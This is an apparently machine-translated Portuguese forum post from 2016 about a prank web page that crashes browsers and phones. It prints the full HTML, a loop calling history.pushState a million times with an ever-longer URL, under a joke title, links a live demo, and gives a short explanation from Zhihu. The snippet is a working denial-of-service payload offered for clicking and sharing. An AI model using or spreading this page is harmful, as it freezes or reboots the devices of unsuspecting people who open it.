|
|
Publicado em 22/01/2016 11:36:39
|
|
|
|

A causa do incidente é esta: um amigo estrangeiro da Cyber Security postou um tweet assim no Twitter:
Esse cara afirma que, se você usar o código Javascrip{filter}t de 12 linhas acima, pode travar Firefox, Chrome, Safari e também fazer seu iPhone reiniciar e o celular Android travar!
O código HTML completo é o seguinte:
- <html>
- <head>
- <meta charset="utf-8">
- <title>谁点谁怀孕</title>
- </head>
- <body>
- 恭喜你,你已经怀孕了!
- <scrip{过滤}t>
- var total="";
- for (var i=0;i<1000000;i++)
- {
- total= total+i.toString();
- history.pushState(0,0,total);
- }
- </scrip{过滤}t>
- </body>
- </html>
Copiar código
Se você é usuário de PC, depois de clicar no link, a memória da CPU do computador provavelmente vai disparar até o navegador travar e travar...
Se você for usuário móvel (Android, iPhone), seu navegador travará ao clicar no link! Clicar no link do Weibo e WeChat também trava.
Por que isso acontece? Nesse sentido, encontrei uma resposta de um deus chamado "Xiaomi" em Zhihu:
history.pushstate() é uma API introduzida pelo HTML5, pushState adiciona uma URL especificada ao histórico do navegador e armazena o ponto de histórico atual. Quando <1000000, o total será registrado no histórico do navegador de forma cíclica, e se for repetido demais, o navegador não suportará e naturalmente travará.
Bem, enfim, eu nem consigo inventar "hello world", então não entendo nada... Resumindo, é perfeito para explodir o céu!
Se quiser experimentar, clique aqui: http://www.itsvse.com/demo.html
|
Anterior:[Open Source] Wooyun Vulnerability Query Platform Código-fonte mais Base de Dados asp.net VersãoPróximo:Linux config/configure/Configure, make, make test/make check, sudo make in...
|